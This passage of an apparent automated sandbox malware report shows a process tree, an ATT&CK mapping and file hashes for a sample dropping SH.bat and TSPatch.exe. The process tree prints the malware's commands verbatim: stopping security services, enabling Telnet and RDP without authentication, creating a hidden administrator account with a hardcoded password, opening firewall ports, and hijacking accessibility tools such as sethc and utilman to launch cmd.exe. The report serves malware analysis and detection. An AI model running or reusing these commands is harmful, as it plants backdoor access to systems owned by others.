                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:1036
                                                                                                                                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                        sc stop wscsvc
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:1160
                                                                                                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                          sc stop SharedAccess
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:492
                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                            sc create tlntsvr binPath= tlntsvr.exe
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:484
                                                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                              sc config tlntsvr start= auto
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:1544
                                                                                                                                                                                                              • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                net start tlntsvr
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:3820
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                                    C:\Windows\system32\net1 start tlntsvr
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:3020
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:2528
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                      reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x1 /f
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:3876
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" /t REG_DWORD /d 0x0 /f
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:1632
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                          reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:3872
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                            reg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v /t REG_DWORD /d 0x0 /f
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:892
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                              netsh firewall add portopening TCP 3389 system
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:1800
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                netsh firewall add portopening TCP 4899 system
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:3812
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                  attrib +h +s "C:\Documents and settings\ontar" /S /D
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Views/modifies file attributes
                                                                                                                                                                                                                                  PID:2036
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:3088
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                      WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                      PID:3040
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\find.exe
                                                                                                                                                                                                                                      Find "="
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:3912
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                      net user ontar Preaba1! /add /active:"yes" /expires:"never" /passwordchg:"NO"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:3388
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                                                          C:\Windows\system32\net1 user ontar Preaba1! /add /active:"yes" /expires:"never" /passwordchg:"NO"
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                            PID:568
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                          net localgroup Administrators ontar /add
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:3816
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                                                              C:\Windows\system32\net1 localgroup Administrators ontar /add
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                PID:3856
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:3244
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                  WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:3928
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\find.exe
                                                                                                                                                                                                                                                    Find "="
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                      PID:2236
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                                    net localgroup "Remote Desktop Users" ontar /add
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:3668
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\net1 localgroup "Remote Desktop Users" ontar /add
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                          PID:3076
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                                        net accounts /forcelogoff:no /maxpwage:unlimited
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:3636
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\net1 accounts /forcelogoff:no /maxpwage:unlimited
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                              PID:1264
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                            reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:2172
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                              reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:3600
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x1 /f
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:2112
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                  reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" /t REG_DWORD /d 0x0 /f
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:3968
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                    reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:3360
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                      reg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v ontar /t REG_DWORD /d 0x0 /f
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Modifies WinLogon
                                                                                                                                                                                                                                                                      PID:3944
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                      Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\0" /v "Version" /t REG_DWORD /d "196611" /f
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:3852
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                        Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Extension-List\{00000000-0000-0000-0000-000000000000}" /v "StartTimeLo" /t REG_DWORD /d "2386147405" /f
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:2648
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                          Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Extension-List\{00000000-0000-0000-0000-000000000000}" /v "EndTimeLo" /t REG_DWORD /d "2387249407" /f
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:4016
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                            Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\GPO-List\0" /v "Version" /t REG_DWORD /d "196611" /f
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:1672
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                              Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Status\GPExtensions\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}" /v "LastPolicyTime" /t REG_DWORD /d "19856934" /f
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:3444
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v "UserAuthentication" /t REG_DWORD /d "0" /f
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:3956
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0x00000000 /f
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:2316
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                    Reg.exe add "HKLM\SYSTEM\ControlSet001\services\SharedAccess\Epoch" /v "Epoch" /t REG_DWORD /d "9412" /f
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:1912
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                      Reg.exe add "HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Epoch" /v "Epoch" /t REG_DWORD /d "9412" /f
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:1896
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                        Reg.exe add "HKU\S-1-5-21-1252767878-4065156067-3399968500-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count" /v "P:\FUNER\Iveghny\Ertfubg.rkr" /t REG_BINARY /d "1300000002000000100000001a230500000080bf000080bf000080bf000080bf000080bf000080bf000080bf000080bf000080bf000080bfffffffff40e916d87c3bd30100000000" /f
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:4104
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                                                          attrib C:\users\ontar +r +a +s +h
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                          • Views/modifies file attributes
                                                                                                                                                                                                                                                                                          PID:4124
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                          reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList» /v ontar /t REG_DWORD /d «00000000" /f
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:4144
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\foo\SH.bat" "
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                          PID:3932
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                                                            attrib -h -s -r C:\Windows\system32\dllcache
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                            • Views/modifies file attributes
                                                                                                                                                                                                                                                                                            PID:3588
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                            Reg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "debugger" /t REG_SZ /d "drmsvc.exe" /f
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:1692
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                              Reg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ibhost.exe" /v "debugger" /t REG_SZ /d "drmsvc.exe" /f
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:3140
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                Reg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v "debugger" /t REG_SZ /d "wpmsvc.exe" /f
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:60
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                  Reg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Narrator.exe" /v "debugger" /t REG_SZ /d "cmd.exe" /f
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:3068
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                    Reg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /v "debugger" /t REG_SZ /d "cmd.exe" /f
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:3796
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                      Reg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uddisrw.exe" /v "debugger" /t REG_SZ /d "wpmsvc.exe" /f
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:3828
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                        takeown /F C:\Windows\System32\sethc.exe
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                        PID:2592
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                        takeown /F C:\Windows\SysWOW64\sethc.exe
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                        PID:1168
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:1336
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                          cacls C:\Windows\System32\dllcache\sethc.exe /G :F SYSTEM:F
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:1156
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:3980
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                              cacls C:\Windows\SysWOW64\dllcache\sethc.exe /G :F SYSTEM:F
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:1444
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:3744
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                  Reg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Windows10Upgrade.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:3760
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                    Reg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EOSNotify.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:572
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\foo\TSPatch.exe
                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\foo\TSPatch.exe" -silent
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                    PID:3008
                                                                                                                                                                                                                                                                                                                • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                  c:\windows\system32\svchost.exe -k localservice -s SstpSvc
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                    PID:2068
                                                                                                                                                                                                                                                                                                                  • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                    PID:3804
                                                                                                                                                                                                                                                                                                                  • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                    PID:3464
                                                                                                                                                                                                                                                                                                                  • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s RasMan
                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                      PID:3820
                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                      C:\Windows\System32\svchost.exe -k netsvcs -s NetSetupSvc
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                      PID:3956
                                                                                                                                                                                                                                                                                                                    • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s RasMan
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                        PID:3944

                                                                                                                                                                                                                                                                                                                      Network

                                                                                                                                                                                                                                                                                                                      MITRE ATT&CK Matrix ATT&CK v6

                                                                                                                                                                                                                                                                                                                      Initial Access

                                                                                                                                                                                                                                                                                                                      Execution

                                                                                                                                                                                                                                                                                                                      Persistence

                                                                                                                                                                                                                                                                                                                      Account Manipulation

                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                      T1098

                                                                                                                                                                                                                                                                                                                      New Service

                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                      T1050

                                                                                                                                                                                                                                                                                                                      Modify Existing Service

                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                      T1031

                                                                                                                                                                                                                                                                                                                      Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                      T1060

                                                                                                                                                                                                                                                                                                                      Hidden Files and Directories

                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                      T1158

                                                                                                                                                                                                                                                                                                                      Winlogon Helper DLL

                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                      T1004

                                                                                                                                                                                                                                                                                                                      Privilege Escalation

                                                                                                                                                                                                                                                                                                                      New Service

                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                      T1050

                                                                                                                                                                                                                                                                                                                      Defense Evasion

                                                                                                                                                                                                                                                                                                                      Modify Registry

                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                      T1112

                                                                                                                                                                                                                                                                                                                      Hidden Files and Directories

                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                      T1158

                                                                                                                                                                                                                                                                                                                      Impair Defenses

                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                      T1562

                                                                                                                                                                                                                                                                                                                      File Permissions Modification

                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                      T1222

                                                                                                                                                                                                                                                                                                                      Credential Access

                                                                                                                                                                                                                                                                                                                      Discovery

                                                                                                                                                                                                                                                                                                                      System Information Discovery

                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                      T1082

                                                                                                                                                                                                                                                                                                                      Query Registry

                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                      T1012

                                                                                                                                                                                                                                                                                                                      Peripheral Device Discovery

                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                      T1120

                                                                                                                                                                                                                                                                                                                      Lateral Movement

                                                                                                                                                                                                                                                                                                                      Collection

                                                                                                                                                                                                                                                                                                                      Exfiltration

                                                                                                                                                                                                                                                                                                                      Command and Control

                                                                                                                                                                                                                                                                                                                      Impact

                                                                                                                                                                                                                                                                                                                      Service Stop

                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                      T1489

                                                                                                                                                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                      Downloads

                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\foo\SH.bat
                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                        21ef54fce2b94d13c5c8bc294fbc5e11

                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                        57a38e4649b34e4bb36b778c17de0804ac418132

                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                        896fe05ecf0c6826cb5265a43118fc242ecc7a5457e487a0976a73c514a4a16d

                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                        2f539290cb27bd88cdf73e976a9a77de951cdc2f428669bc472470cf9775f7c3e4c351e5eabdafeef074954fdd8efe61096a09dc1f1a2ee4ba72426e263378c7

                                                                                                                                                                                                                                                                                                                        Download Submit
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\foo\TSPatch.exe
                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                        c558680a720c1e3a317ae3ee9e4bdfda

                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                        a23b18726297c80b89e3de588666d116920c8f10

                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                        8c66a900102db758830c47c9e32076fabace6d81bc9ae0b50ba448880f5f1ff8

                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                        0bc22482c9cf8192a68dcc6c796c7316989f233142ee9ce906dd9408a05dd2c25598d33eaf79e6eccb5d23f95e57948fdfb706b26cf92a839b473e7b24d6955f

                                                                                                                                                                                                                                                                                                                        Download Submit
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\foo\TSPatch.exe
                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                        c558680a720c1e3a317ae3ee9e4bdfda

                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                        a23b18726297c80b89e3de588666d116920c8f10

                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                        8c66a900102db758830c47c9e32076fabace6d81bc9ae0b50ba448880f5f1ff8

                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                        0bc22482c9cf8192a68dcc6c796c7316989f233142ee9ce906dd9408a05dd2c25598d33eaf79e6eccb5d23f95e57948fdfb706b26cf92a839b473e7b24d6955f

                                                                                                                                                                                                                                                                                                                        Download Submit
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\foo\U.bat
                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                        1fae59414d8f21e40d105f47f6b23edd

                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                        c157832a5322d53130fa1e568abf7b66e2ae87cc

                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                        d58f99d63f3306ccc68130af6cd7e539198e26b0ce2cb647b3ac710b974cec7e

                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                        c579e56e3f449bcfc50c9d32f85bb55a0e2fd34d54146654188c38f7c2af529a04c9471afab10bf1c529cae9ef0c185a8712cf626c8c84a306dc3758dc29b538

                                                                                                                                                                                                                                                                                                                        Download Submit
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\foo\prop.exe
                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                        48522d32f014350cb5b8d55ca8b52678

                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                        4b84fedea40c4db502427cbc9e0ceffb18bf7033

                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                        7b0fd59157936cbaa2fe204fba06b22f11bfc5373aa7ea918a5c0e42035094bd

